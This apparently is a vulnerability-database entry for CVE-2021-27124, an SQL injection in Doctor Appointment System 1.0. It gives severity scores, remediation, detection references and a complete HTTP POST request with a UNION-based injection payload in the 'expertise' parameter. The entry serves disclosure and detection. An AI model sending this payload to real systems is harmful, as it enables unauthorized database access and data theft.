🔙 목록으로 돌아가기

CVE-2021-27124: Doctor Appointment System 1.0 - SQL Injection

TitleDoctor Appointment System 1.0 - SQL Injection
Authortheamanrawat
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
RemediationUpgrade to the latest version to mitigate this vulnerability.
CVSS Score6.5
EPSS Score0.22289
CVE IDCVE-2021-27124
CWE IDCWE-89
Tags cve2021 cve packetstorm sqli doctor-appointment-system doctor_appointment_system_project vuln

🔍 Vulnerability Description

SQL injection in the expertise parameter in search_result.php in Doctor Appointment System v1.0.

🌐 HTTP Request

POST /patient/search_result.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0) Gecko/20100101 Firefox/87.0
Connection: close
Content-Length: 117
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

expertise=Heart'+UNION+ALL+SELECT+NULL,NULL,NULL,NULL,NULL,md5('999999999'),NULL,NULL,NULL,NULL,NULL,NULL--+-&submit=

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-27124.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-27124.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A